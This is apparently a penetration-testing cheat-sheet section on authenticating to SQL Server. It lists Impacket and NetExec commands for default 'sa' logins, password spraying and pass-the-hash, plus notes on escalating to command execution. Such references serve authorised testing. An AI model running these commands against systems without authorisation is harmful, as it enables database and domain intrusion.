SQL Server accepts two authentication modes, and both are routes in: SQL logins (username and password stored in the instance) and Windows authentication (local or domain accounts). The goal here is any authenticated session, however low-privileged, because public alone is enough to begin enumeration and often coercion.
SQL logins#
Default and weak SQL logins are common, above all sa:
# Authenticate a SQL login
mssqlclient.py 'sa:Password123!@<target>'
impacket-mssqlclient WORKGROUP/sa:'Password123!'@<target>
# Spray SQL logins across an instance (respect lockout where set)
nxc mssql <target> -u sa -p passwords.txt --local-auth
Windows and domain authentication#
# Domain account (password or hash), mapping to a Windows login/principal
mssqlclient.py -windows-auth 'example.local/user:password@<target>'
nxc mssql <target> -u user -p password -d example.local
nxc mssql <target> -u user -H <nthash> -d example.local # pass-the-hash to MSSQL
Exploitation notes#
sais sysadmin, so ansahit is immediate command execution; a weak or reusedsapassword is the classic MSSQL win.- A domain login that maps into the instance is often more useful than a SQL login, because it can be reached by relay and by pass-the-hash to MSSQL.
- Even an unprivileged
publicsession enables enumeration, the coercion procedures, and a search for impersonation and linked-server paths. guestaccess to a database widens reach without an explicit grant, so check which databases a low login canUSE.
Tools#
- Impacket
mssqlclient.py(-windows-auth,-hashes): interactive sessions with SQL or Windows auth and pass-the-hash. - NetExec
mssql(-u/-p/-H,--local-auth): authentication, spraying, and pass-the-hash at scale.